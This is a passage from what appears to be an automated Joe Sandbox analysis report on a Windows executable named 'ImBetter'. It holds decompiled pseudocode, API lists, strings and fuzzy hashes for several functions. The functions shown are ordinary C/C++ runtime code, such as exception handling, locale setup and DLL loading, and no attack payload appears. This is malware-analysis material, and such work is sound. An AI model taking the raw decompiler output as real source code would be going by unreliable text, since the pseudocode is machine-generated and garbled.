0x7ff7e6b4071a
0x7ff7e6b4071f
0x7ff7e6b40724
0x7ff7e6b4072b
0x7ff7e6b40731
0x7ff7e6b40735
0x7ff7e6b40739
0x7ff7e6b40748
0x7ff7e6b40757
0x7ff7e6b40761
0x7ff7e6b40764
0x7ff7e6b40768
0x7ff7e6b4076f
0x7ff7e6b40779
0x7ff7e6b40780
0x7ff7e6b40786
0x7ff7e6b4078c
0x7ff7e6b40794
0x7ff7e6b40798
0x7ff7e6b4079f
0x7ff7e6b407ac
0x7ff7e6b407b0
0x7ff7e6b407b8
0x7ff7e6b407bb
0x7ff7e6b407cc
0x7ff7e6b407cf
0x7ff7e6b407d4
0x7ff7e6b407e1
0x7ff7e6b407e4
0x7ff7e6b407ea
0x7ff7e6b407ec
0x7ff7e6b40807
0x7ff7e6b40812
0x7ff7e6b40818
0x7ff7e6b4081e
0x7ff7e6b40820
0x7ff7e6b40826
0x7ff7e6b40828
0x7ff7e6b4082e
0x7ff7e6b40834
0x7ff7e6b40852
0x7ff7e6b4085a
0x7ff7e6b40862
0x7ff7e6b4086d
0x7ff7e6b40875
0x7ff7e6b4087e
0x7ff7e6b40887
0x7ff7e6b4088c
0x7ff7e6b40891
0x7ff7e6b40896
0x7ff7e6b4089d
0x7ff7e6b408a8
0x7ff7e6b408ab
0x7ff7e6b408b2
0x7ff7e6b408c4
0x7ff7e6b408ca
0x7ff7e6b408ce
0x7ff7e6b408d0
0x7ff7e6b408dc
0x7ff7e6b408e6
0x7ff7e6b408f9
0x7ff7e6b40907
0x7ff7e6b40911
0x7ff7e6b40913
0x7ff7e6b4091b
0x7ff7e6b40922
0x7ff7e6b40931
0x7ff7e6b40944
0x7ff7e6b40949
0x7ff7e6b4095a
0x7ff7e6b4095e
0x7ff7e6b40961
0x7ff7e6b40966
0x7ff7e6b4096b
0x7ff7e6b4096f
0x7ff7e6b40976
0x7ff7e6b4097b
0x7ff7e6b40980
0x7ff7e6b40985
0x7ff7e6b4098b
0x7ff7e6b40994
0x7ff7e6b409a3
0x7ff7e6b409ab
0x7ff7e6b409b2
0x7ff7e6b409ba
0x7ff7e6b409bf
0x7ff7e6b409c4
0x7ff7e6b409ce
0x7ff7e6b409ef

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 00007FF7E6B405C5

Part of subcall function 00007FF7E6B428BC: __GetUnwindTryBlock.LIBCMT ref: 00007FF7E6B428FF
Part of subcall function 00007FF7E6B428BC: __SetUnwindTryBlock.LIBVCRUNTIME ref: 00007FF7E6B42924

Is_bad_exception_allowed.LIBVCRUNTIME ref: 00007FF7E6B4069D
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 00007FF7E6B408F2
std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF7E6B409FE

Strings

csm, xrefs: 00007FF7E6B406C0
csm, xrefs: 00007FF7E6B40646
csm, xrefs: 00007FF7E6B405DF

Memory Dump Source

Source File: 00000000.00000002.298409330.00007FF7E6B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7E6B00000, based on PE: true

Associated: 00000000.00000002.298405408.00007FF7E6B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298446741.00007FF7E6B4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298464669.00007FF7E6B6B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298469796.00007FF7E6B6F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e6b00000_ImBetter.jbxd

Similarity

API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 849930591-393685449
Opcode ID: b904638a524fbe3a524ac10d6a2ac6fc26f7b61a75cd25cd5a2ce7494c06ab7f
Instruction ID: a1d1d2492a2ae169484100c077f91b63033bbb55339d34b23b7470ebce032cd9
Opcode Fuzzy Hash: b904638a524fbe3a524ac10d6a2ac6fc26f7b61a75cd25cd5a2ce7494c06ab7f
Instruction Fuzzy Hash: 16E1A672E2874286EB20AF65D8403AEB7A0FB45798FA00137DE8D57B55DF38E481C712

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E6B0DDC0 Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 222
COMMON

Download Yara Rule

C-Code - Quality: 70%

			E00007FF77FF7E6B0DDC0(intOrPtr __edx, long long __rbx, long long __rsi, long long _a8, long long _a24) {
				void* _v40;
				signed int _v48;
				char _v52;
				char _v56;
				long long _v64;
				char _v72;
				char _v128;
				long long _v136;
				long long _v144;
				char _v152;
				intOrPtr _v164;
				signed int _v168;
				intOrPtr _v176;
				char _v184;
				void* _t87;
				intOrPtr _t89;
				void* _t92;
				void* _t96;
				signed long long _t145;
				intOrPtr _t147;
				intOrPtr _t149;
				intOrPtr _t150;
				intOrPtr _t154;
				intOrPtr _t155;
				intOrPtr _t156;
				intOrPtr* _t158;
				intOrPtr _t159;
				intOrPtr _t160;
				intOrPtr _t163;
				intOrPtr _t164;
				intOrPtr* _t171;
				intOrPtr _t172;
				intOrPtr _t174;
				intOrPtr _t187;
				intOrPtr* _t190;
				intOrPtr* _t199;
				void* _t202;
				signed int _t209;
				long long _t210;
				intOrPtr* _t211;
				intOrPtr _t212;
				signed long long _t213;

				_t200 = __rsi;
				_a8 = __rbx;
				_a24 = __rsi;
				_t203 = _t202 - 0xb0;
				_t145 =  *0xe6b6bbc0; // 0x7a937e77a598
				_v48 = _t145 ^ _t202 - 0x000000b0;
				_v164 = __edx;
				_v168 = 0;
				_v136 = 0xe6b6dbb0;
				_t147 =  *0xe6b6dbb0; // 0x7ff7e6b5e5a0
				_t7 = _t147 + 4; // 0x10
				_t171 =  *((intOrPtr*)( *_t7 + 0x7ff7e6b6dbf8));
				if (_t171 == 0) goto 0xe6b0de20;
				 *((intOrPtr*)( *_t171 + 8))();
				_t172 =  *0xe6b6dbb0; // 0x7ff7e6b5e5a0
				_t11 = _t172 + 4; // 0x10
				_t149 =  *_t11;
				if ( *((intOrPtr*)(_t149 + 0x7ff7e6b6dbc0)) == 0) goto 0xe6b0de36;
				goto 0xe6b0de64;
				_t150 =  *((intOrPtr*)(_t149 + 0x7ff7e6b6dc00));
				if (_t150 == 0) goto 0xe6b0de62;
				if (_t150 == 0xe6b6dbb0) goto 0xe6b0de62;
				E00007FF77FF7E6B0AFD0(0xe6b6dbb0, _t150, __rsi);
				_t174 =  *0xe6b6dbb0; // 0x7ff7e6b5e5a0
				goto 0xe6b0de64;
				_v128 = 1;
				if (1 == 0) goto 0xe6b0e02d;
				_t22 = _t174 + 4; // 0x10
				_t211 =  *((intOrPtr*)( *((intOrPtr*)( *_t22 + 0x7ff7e6b6dbf0)) + 8));
				_v144 = _t211;
				_t154 =  *_t211;
				_t87 = E00007FF77FF7E6B43D9C( *((intOrPtr*)(_t154 + 8))(), 0,  &_v52);
				_t210 =  *0xe6b6e0d8;
				_v72 = _t210;
				_t212 =  *0xe6b6e0f8;
				if (_t212 != 0) goto 0xe6b0defa;
				E00007FF77FF7E6B43D9C(_t87, 0,  &_v56);
				if ( *0xe6b6e0f8 != _t212) goto 0xe6b0dee6;
				_t89 =  *0xe6b6dcb8; // 0x3
				 *0xe6b6dcb8 = _t89 + 1;
				 *0xe6b6e0f8 = _t154;
				_t92 = E00007FF77FF7E6B43E14(_t154,  &_v56);
				_t213 =  *0xe6b6e0f8;
				_t209 = _t213 * 8;
				if (_t213 -  *((intOrPtr*)(_t211 + 0x18)) >= 0) goto 0xe6b0df15;
				_t155 =  *((intOrPtr*)(_t211 + 0x10));
				if ( *((intOrPtr*)(_t209 + _t155)) != 0) goto 0xe6b0df82;
				if ( *((char*)(_t211 + 0x24)) == 0) goto 0xe6b0df2f;
				E00007FF77FF7E6B44068(_t92);
				if (_t213 -  *((intOrPtr*)(_t155 + 0x18)) >= 0) goto 0xe6b0df34;
				_t156 =  *((intOrPtr*)(_t155 + 0x10));
				if ( *((intOrPtr*)(_t209 + _t156)) != 0) goto 0xe6b0df82;
				if (_t210 == 0) goto 0xe6b0df3e;
				goto 0xe6b0df82;
				E00007FF77FF7E6B115E0(_t156, 0xe6b6dbb0,  &_v72,  &_v152, _t200);
				if (_t156 == 0xffffffff) goto 0xe6b0e0b9;
				_t199 = _v72;
				_v72 = _t199;
				E00007FF77FF7E6B44030(_t156 - 0xffffffff, _t156, _t199);
				_t96 =  *((intOrPtr*)( *_t199 + 8))();
				 *0xe6b6e0d8 = _t199;
				E00007FF77FF7E6B43E14(_t96,  &_v52);
				_t158 =  *_t211;
				 *((intOrPtr*)(_t158 + 0x10))();
				if (_t158 == 0) goto 0xe6b0dfaf;
				 *((long long*)( *((intOrPtr*)( *_t158))))();
				_t159 =  *0xe6b6dbb0; // 0x7ff7e6b5e5a0
				_t47 = _t159 + 4; // 0x10
				_t160 =  *_t47;
				_v72 = 0;
				_v64 =  *((intOrPtr*)(_t160 + 0x7ff7e6b6dbf8));
				asm("movaps xmm0, [esp+0x90]");
				asm("movdqa [esp+0x40], xmm0");
				_t106 = _v164;
				_v176 = _v164;
				_v184 =  *(_t160 + 0x7ff7e6b6dc08) & 0x000000ff;
				 *((intOrPtr*)( *_t199 + 0x48))();
				_t121 =  !=  ? 4 : 0;
				_v168 =  !=  ? 4 : 0;
				_t163 =  *0xe6b6dbb0; // 0x7ff7e6b5e5a0
				_t64 = _t163 + 4; // 0x10
				_t187 =  *_t64;
				_t114 =  !=  ? 0 : 4;
				_t115 = ( !=  ? 0 : 4) | _v168 |  *(_t187 + 0x7ff7e6b6dbc0);
				_t116 = (( !=  ? 0 : 4) | _v168 |  *(_t187 + 0x7ff7e6b6dbc0)) & 0x00000017;
				 *(_t187 + 0x7ff7e6b6dbc0) = 4;
				_t102 =  *(_t187 + 0x7ff7e6b6dbc4) & (( !=  ? 0 : 4) | _v168 |  *(_t187 + 0x7ff7e6b6dbc0)) & 0x00000017;
				if ( *((long long*)(_t187 + 0x7ff7e6b6dbf8)) != 0) goto 0xe6b0e0bf;
				0xe6b43e48();
				_t142 =  *(_t187 + 0x7ff7e6b6dbc4) & (( !=  ? 0 : 4) | _v168 |  *(_t187 + 0x7ff7e6b6dbc0)) & 0x00000017;
				if (( *(_t187 + 0x7ff7e6b6dbc4) & (( !=  ? 0 : 4) | _v168 |  *(_t187 + 0x7ff7e6b6dbc0)) & 0x00000017) != 0) goto 0xe6b0e06d;
				E00007FF77FF7E6B0B350(0xe6b6dbb0);
				_t164 =  *0xe6b6dbb0; // 0x7ff7e6b5e5a0
				_t73 = _t164 + 4; // 0x10
				_t190 =  *((intOrPtr*)( *_t73 + 0x7ff7e6b6dbf8));
				if (_t190 == 0) goto 0xe6b0e089;
				return E00007FF77FF7E6B3C7F0( *((intOrPtr*)( *_t190 + 0x10))(), _t106, _v48 ^ _t203);
			}

0x7ff7e6b0ddc0
0x7ff7e6b0ddc0
0x7ff7e6b0ddc5
0x7ff7e6b0ddd3
0x7ff7e6b0ddda
0x7ff7e6b0dde4
0x7ff7e6b0ddec
0x7ff7e6b0ddf4
0x7ff7e6b0ddff
0x7ff7e6b0de04
0x7ff7e6b0de0b
0x7ff7e6b0de0f
0x7ff7e6b0de17
0x7ff7e6b0de1c
0x7ff7e6b0de20
0x7ff7e6b0de27
0x7ff7e6b0de27
0x7ff7e6b0de30
0x7ff7e6b0de34
0x7ff7e6b0de36
0x7ff7e6b0de3e
0x7ff7e6b0de43
0x7ff7e6b0de48
0x7ff7e6b0de4d
0x7ff7e6b0de60
0x7ff7e6b0de64
0x7ff7e6b0de6a
0x7ff7e6b0de70
0x7ff7e6b0de79
0x7ff7e6b0de7d
0x7ff7e6b0de82
0x7ff7e6b0de96
0x7ff7e6b0de9c
0x7ff7e6b0dea3
0x7ff7e6b0deab
0x7ff7e6b0deb5
0x7ff7e6b0dec1
0x7ff7e6b0decd
0x7ff7e6b0decf
0x7ff7e6b0ded7
0x7ff7e6b0dedf
0x7ff7e6b0deee
0x7ff7e6b0def3
0x7ff7e6b0defa
0x7ff7e6b0df06
0x7ff7e6b0df08
0x7ff7e6b0df13
0x7ff7e6b0df1a
0x7ff7e6b0df1c
0x7ff7e6b0df25
0x7ff7e6b0df27
0x7ff7e6b0df32
0x7ff7e6b0df37
0x7ff7e6b0df3c
0x7ff7e6b0df4b
0x7ff7e6b0df54
0x7ff7e6b0df5a
0x7ff7e6b0df62
0x7ff7e6b0df6d
0x7ff7e6b0df78
0x7ff7e6b0df7b
0x7ff7e6b0df8a
0x7ff7e6b0df90
0x7ff7e6b0df96
0x7ff7e6b0df9c
0x7ff7e6b0dfac
0x7ff7e6b0dfaf
0x7ff7e6b0dfb6
0x7ff7e6b0dfb6
0x7ff7e6b0dfc8
0x7ff7e6b0dfd0
0x7ff7e6b0dfdb
0x7ff7e6b0dfe3
0x7ff7e6b0dfe9
0x7ff7e6b0dfed
0x7ff7e6b0dff1
0x7ff7e6b0e005
0x7ff7e6b0e015
0x7ff7e6b0e018
0x7ff7e6b0e032
0x7ff7e6b0e039
0x7ff7e6b0e039
0x7ff7e6b0e047
0x7ff7e6b0e04a
0x7ff7e6b0e04c
0x7ff7e6b0e04f
0x7ff7e6b0e057
0x7ff7e6b0e059
0x7ff7e6b0e05b
0x7ff7e6b0e060
0x7ff7e6b0e062
0x7ff7e6b0e067
0x7ff7e6b0e06d
0x7ff7e6b0e074
0x7ff7e6b0e078
0x7ff7e6b0e080
0x7ff7e6b0e0b8

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00007FF7E6B0DE96
std::_Lockit::_Lockit.LIBCPMT ref: 00007FF7E6B0DEC1
std::_Facet_Register.LIBCPMT ref: 00007FF7E6B0DF6D

Strings

ios_base::eofbit set, xrefs: 00007FF7E6B0E0D5
ios_base::failbit set, xrefs: 00007FF7E6B0E0CE
ios_base::badbit set, xrefs: 00007FF7E6B0E0C3

Memory Dump Source

Source File: 00000000.00000002.298409330.00007FF7E6B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7E6B00000, based on PE: true

Associated: 00000000.00000002.298405408.00007FF7E6B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298446741.00007FF7E6B4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298464669.00007FF7E6B6B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298469796.00007FF7E6B6F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e6b00000_ImBetter.jbxd

Similarity

API ID: std::_$LockitLockit::_$Facet_Register
String ID: ios_base::badbit set$ios_base::eofbit set$ios_base::failbit set
API String ID: 3778811486-1866435925
Opcode ID: 79d138ccbf7875b376054a822941eb07e81705c4a8bf22439a1f947463b5ae11
Instruction ID: ce75d127a1d8d27fe35086c2d31f5d437cc493dfe055a90a8405195538326e5f
Opcode Fuzzy Hash: 79d138ccbf7875b376054a822941eb07e81705c4a8bf22439a1f947463b5ae11
Instruction Fuzzy Hash: 30A1A122629A82C1EA50EF15E8807BAF7A1FB84B84FA44137DE5D437A5DF3CD445C712

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E6B2C068 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117
libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 77%

			E00007FF77FF7E6B2C068(void* __ecx, long long __rbx, void* __rdx, signed int __rsi, void* __r8, void* __r9) {
				void* _t37;
				signed long long _t57;
				intOrPtr _t61;
				signed long long _t72;
				void* _t75;
				signed long long _t76;
				long long _t82;
				void* _t86;
				signed long long _t90;
				signed long long _t91;
				WCHAR* _t93;
				long _t96;
				void* _t99;
				WCHAR* _t104;

				 *((long long*)(_t86 + 8)) = __rbx;
				 *((long long*)(_t86 + 0x10)) = _t82;
				 *((long long*)(_t86 + 0x18)) = __rsi;
				r15d = __ecx;
				_t90 =  *0xe6b6bbc0; // 0x7a937e77a598
				_t76 = _t75 | 0xffffffff;
				_t72 = _t90 ^  *(0x7ff7e6b00000 + 0x6c990 + _t104 * 8);
				asm("dec eax");
				if (_t72 == _t76) goto 0xe6b2c1ae;
				if (_t72 == 0) goto 0xe6b2c0d1;
				_t57 = _t72;
				goto 0xe6b2c1b0;
				if (__r8 == __r9) goto 0xe6b2c193;
				_t61 =  *((intOrPtr*)(0x7ff7e6b00000 + 0x6c8f0 + __rsi * 8));
				if (_t61 == 0) goto 0xe6b2c0f8;
				if (_t61 != _t76) goto 0xe6b2c1ed;
				goto 0xe6b2c17f;
				r8d = 0x800;
				LoadLibraryExW(_t104, _t99, _t96);
				if (_t57 != 0) goto 0xe6b2c1cd;
				if (GetLastError() != 0x57) goto 0xe6b2c16d;
				_t14 = _t57 - 0x50; // -80
				_t37 = _t14;
				r8d = _t37;
				if (E00007FF77FF7E6B34E48(_t90) == 0) goto 0xe6b2c16d;
				r8d = _t37;
				if (E00007FF77FF7E6B34E48(_t90) == 0) goto 0xe6b2c16d;
				r8d = 0;
				LoadLibraryExW(_t93, _t75);
				if (_t57 != 0) goto 0xe6b2c1cd;
				 *((intOrPtr*)(0x7ff7e6b00000 + 0x6c8f0 + __rsi * 8)) = _t76;
				if (__r8 + 4 != __r9) goto 0xe6b2c0da;
				_t91 =  *0xe6b6bbc0; // 0x7a937e77a598
				asm("dec eax");
				 *(0x7ff7e6b00000 + 0x6c990 + _t104 * 8) = _t76 ^ _t91;
				return 0;
			}

0x7ff7e6b2c068
0x7ff7e6b2c06d
0x7ff7e6b2c072
0x7ff7e6b2c084
0x7ff7e6b2c09f
0x7ff7e6b2c0a6
0x7ff7e6b2c0b0
0x7ff7e6b2c0b8
0x7ff7e6b2c0be
0x7ff7e6b2c0c7
0x7ff7e6b2c0c9
0x7ff7e6b2c0cc
0x7ff7e6b2c0d4
0x7ff7e6b2c0dd
0x7ff7e6b2c0e8
0x7ff7e6b2c0ed
0x7ff7e6b2c0f3
0x7ff7e6b2c105
0x7ff7e6b2c10b
0x7ff7e6b2c117
0x7ff7e6b2c126
0x7ff7e6b2c128
0x7ff7e6b2c128
0x7ff7e6b2c12e
0x7ff7e6b2c13f
0x7ff7e6b2c141
0x7ff7e6b2c155
0x7ff7e6b2c157
0x7ff7e6b2c15f
0x7ff7e6b2c16b
0x7ff7e6b2c177
0x7ff7e6b2c186
0x7ff7e6b2c18c
0x7ff7e6b2c1a0
0x7ff7e6b2c1a6
0x7ff7e6b2c1cc

APIs

FreeLibrary.KERNEL32(?,?,?,00007FF7E6B2C774,?,?,?,?,00007FF7E6B2D3D9,?,?,?,?,00007FF7E6B43DB0), ref: 00007FF7E6B2C1E7
GetProcAddress.KERNEL32(?,?,?,00007FF7E6B2C774,?,?,?,?,00007FF7E6B2D3D9,?,?,?,?,00007FF7E6B43DB0), ref: 00007FF7E6B2C1F3

Strings

ext-ms-, xrefs: 00007FF7E6B2C144
api-ms-, xrefs: 00007FF7E6B2C131

Memory Dump Source

Source File: 00000000.00000002.298409330.00007FF7E6B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7E6B00000, based on PE: true

Associated: 00000000.00000002.298405408.00007FF7E6B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298446741.00007FF7E6B4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298464669.00007FF7E6B6B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298469796.00007FF7E6B6F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e6b00000_ImBetter.jbxd

Similarity

API ID: AddressFreeLibraryProc
String ID: api-ms-$ext-ms-
API String ID: 3013587201-537541572
Opcode ID: 63b4ea360a864a72651aec4905b0dbaac4058c4cbe43e493816f690517252289
Instruction ID: 261aeb8c187f4ed1f4dbf0b19e811c606dd153c57abfc2371478b32b8c94da9e
Opcode Fuzzy Hash: 63b4ea360a864a72651aec4905b0dbaac4058c4cbe43e493816f690517252289
Instruction Fuzzy Hash: 3341F061B2969241FA51BB169C007B7B3D6BF44BD0FA85137ED2D87784EF3CE4858221

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E6B42E0C Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 88
libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 50%

			E00007FF77FF7E6B42E0C(void* __ecx, long long __rbx, void* __rdx, signed int __rsi, void* __r8, void* __r9) {
				intOrPtr _t61;
				intOrPtr _t65;
				intOrPtr _t67;
				intOrPtr _t68;
				struct HINSTANCE__* _t81;
				long long _t85;
				void* _t89;
				struct HINSTANCE__* _t94;
				long _t97;
				void* _t100;
				signed long long _t101;
				WCHAR* _t104;

				 *((long long*)(_t89 + 8)) = __rbx;
				 *((long long*)(_t89 + 0x10)) = _t85;
				 *((long long*)(_t89 + 0x18)) = __rsi;
				_t101 = _t100 | 0xffffffff;
				_t61 =  *((intOrPtr*)(0x7ff7e6b00000 + 0x6da28 + _t81 * 8));
				if (_t61 == _t101) goto 0xe6b42f3b;
				if (_t61 != 0) goto 0xe6b42f3d;
				if (__r8 == __r9) goto 0xe6b42f33;
				_t67 =  *((intOrPtr*)(0x7ff7e6b00000 + 0x6da10 + __rsi * 8));
				if (_t67 == 0) goto 0xe6b42e7e;
				if (_t67 != _t101) goto 0xe6b42f15;
				goto 0xe6b42ee9;
				r8d = 0x800;
				LoadLibraryExW(_t104, _t100, _t97);
				_t68 = _t61;
				if (_t61 != 0) goto 0xe6b42ef5;
				if (GetLastError() != 0x57) goto 0xe6b42ed7;
				_t14 = _t68 + 7; // 0x7
				r8d = _t14;
				if (E00007FF77FF7E6B34E48(__r8) == 0) goto 0xe6b42ed7;
				r8d = 0;
				LoadLibraryExW(??, ??, ??);
				if (_t61 != 0) goto 0xe6b42ef5;
				 *((intOrPtr*)(0x7ff7e6b00000 + 0x6da10 + __rsi * 8)) = _t101;
				goto 0xe6b42e5c;
				_t21 = 0x7ff7e6b00000 + 0x6da10 + __rsi * 8;
				_t65 =  *_t21;
				 *_t21 = _t61;
				if (_t65 == 0) goto 0xe6b42f15;
				FreeLibrary(_t94);
				GetProcAddress(_t81);
				if (_t65 == 0) goto 0xe6b42f33;
				 *((intOrPtr*)(0x7ff7e6b00000 + 0x6da28 + _t81 * 8)) = _t65;
				goto 0xe6b42f3d;
				 *((intOrPtr*)(0x7ff7e6b00000 + 0x6da28 + _t81 * 8)) = _t101;
				return 0;
			}

0x7ff7e6b42e0c
0x7ff7e6b42e11
0x7ff7e6b42e16
0x7ff7e6b42e31
0x7ff7e6b42e3e
0x7ff7e6b42e4a
0x7ff7e6b42e53
0x7ff7e6b42e5c
0x7ff7e6b42e65
0x7ff7e6b42e71
0x7ff7e6b42e76
0x7ff7e6b42e7c
0x7ff7e6b42e8b
0x7ff7e6b42e91
0x7ff7e6b42e97
0x7ff7e6b42e9d
0x7ff7e6b42ea8
0x7ff7e6b42eaa
0x7ff7e6b42eaa
0x7ff7e6b42ebf
0x7ff7e6b42ec1
0x7ff7e6b42ec9
0x7ff7e6b42ed5
0x7ff7e6b42ee1
0x7ff7e6b42ef0
0x7ff7e6b42eff
0x7ff7e6b42eff
0x7ff7e6b42eff
0x7ff7e6b42f0a
0x7ff7e6b42f0f
0x7ff7e6b42f1b
0x7ff7e6b42f24
0x7ff7e6b42f29
0x7ff7e6b42f31
0x7ff7e6b42f33
0x7ff7e6b42f59

APIs

LoadLibraryExW.KERNEL32(?,?,?,00007FF7E6B430BE,?,?,?,00007FF7E6B42DB0,?,?,00000001,00007FF7E6B3F979), ref: 00007FF7E6B42E91
GetLastError.KERNEL32(?,?,?,00007FF7E6B430BE,?,?,?,00007FF7E6B42DB0,?,?,00000001,00007FF7E6B3F979), ref: 00007FF7E6B42E9F
LoadLibraryExW.KERNEL32(?,?,?,00007FF7E6B430BE,?,?,?,00007FF7E6B42DB0,?,?,00000001,00007FF7E6B3F979), ref: 00007FF7E6B42EC9
FreeLibrary.KERNEL32(?,?,?,00007FF7E6B430BE,?,?,?,00007FF7E6B42DB0,?,?,00000001,00007FF7E6B3F979), ref: 00007FF7E6B42F0F
GetProcAddress.KERNEL32(?,?,?,00007FF7E6B430BE,?,?,?,00007FF7E6B42DB0,?,?,00000001,00007FF7E6B3F979), ref: 00007FF7E6B42F1B

Strings

api-ms-, xrefs: 00007FF7E6B42EB1

Memory Dump Source

Source File: 00000000.00000002.298409330.00007FF7E6B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7E6B00000, based on PE: true

Associated: 00000000.00000002.298405408.00007FF7E6B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298446741.00007FF7E6B4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298464669.00007FF7E6B6B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298469796.00007FF7E6B6F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e6b00000_ImBetter.jbxd

Similarity

API ID: Library$Load$AddressErrorFreeLastProc
String ID: api-ms-
API String ID: 2559590344-2084034818
Opcode ID: 0a01815df74a5d3176c7d34ef17aa966114b1ceea4868ccd8d5ccfb4bb023826
Instruction ID: 8f08d61bc21749ae524473796af06f6a7d64659c8fff1d739ec6aed852b0671a
Opcode Fuzzy Hash: 0a01815df74a5d3176c7d34ef17aa966114b1ceea4868ccd8d5ccfb4bb023826
Instruction Fuzzy Hash: A6317221B3E64291EA11AB529C407BAB394BF48BA0FE90536DD1D47794FE3CE4459322

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E6B2A284 Relevance: 10.6, APIs: 7, Instructions: 62COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00007FF7E6B2A293
FlsGetValue.KERNEL32 ref: 00007FF7E6B2A2A8
FlsSetValue.KERNEL32 ref: 00007FF7E6B2A2C9
FlsSetValue.KERNEL32 ref: 00007FF7E6B2A2F6
FlsSetValue.KERNEL32 ref: 00007FF7E6B2A307
FlsSetValue.KERNEL32 ref: 00007FF7E6B2A318
SetLastError.KERNEL32 ref: 00007FF7E6B2A333

Memory Dump Source

Source File: 00000000.00000002.298409330.00007FF7E6B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7E6B00000, based on PE: true

Associated: 00000000.00000002.298405408.00007FF7E6B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298446741.00007FF7E6B4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298464669.00007FF7E6B6B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298469796.00007FF7E6B6F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e6b00000_ImBetter.jbxd

Similarity

API ID: Value$ErrorLast
String ID:
API String ID: 2506987500-0
Opcode ID: d39d5562348d5e06b181ebba74f2c01d6456ed05a5c5d885e83d124da9eb9df3
Instruction ID: ca31b1368f6c23be22f11ac281067ea9e5f14f3239381a5afc83f65049207427
Opcode Fuzzy Hash: d39d5562348d5e06b181ebba74f2c01d6456ed05a5c5d885e83d124da9eb9df3
Instruction Fuzzy Hash: DD216D20A2C68642FA6873225D5533FF2D36F497A0FB40A36E92E076D6DF3DA4014623

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E6B3AF94 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

WriteConsoleW.KERNEL32 ref: 00007FF7E6B3AFC5
GetLastError.KERNEL32 ref: 00007FF7E6B3AFD1
CloseHandle.KERNEL32 ref: 00007FF7E6B3AFE9
CreateFileW.KERNEL32 ref: 00007FF7E6B3B014
WriteConsoleW.KERNEL32 ref: 00007FF7E6B3B033

Strings

CONOUT$, xrefs: 00007FF7E6B3AFF5

Memory Dump Source

Source File: 00000000.00000002.298409330.00007FF7E6B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7E6B00000, based on PE: true

Associated: 00000000.00000002.298405408.00007FF7E6B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298446741.00007FF7E6B4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298464669.00007FF7E6B6B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298469796.00007FF7E6B6F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e6b00000_ImBetter.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast
String ID: CONOUT$
API String ID: 3230265001-3130406586
Opcode ID: b9beb81df76f9791ecbcf0ef5aec929e76a9525e52e88fd6361b82a220421d68
Instruction ID: d6574effec782af8c15b171d93c24892c6c28f679adee04c592bb649489f9559
Opcode Fuzzy Hash: b9beb81df76f9791ecbcf0ef5aec929e76a9525e52e88fd6361b82a220421d68
Instruction Fuzzy Hash: F311E931728B4182E350AB12EC5432AF3A4FB88FE5FA40236DA5D83B94DF7CD9108751

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E6B44FE8 Relevance: 9.2, APIs: 6, Instructions: 240COMMONLIBRARYCODE

Download Yara Rule

APIs

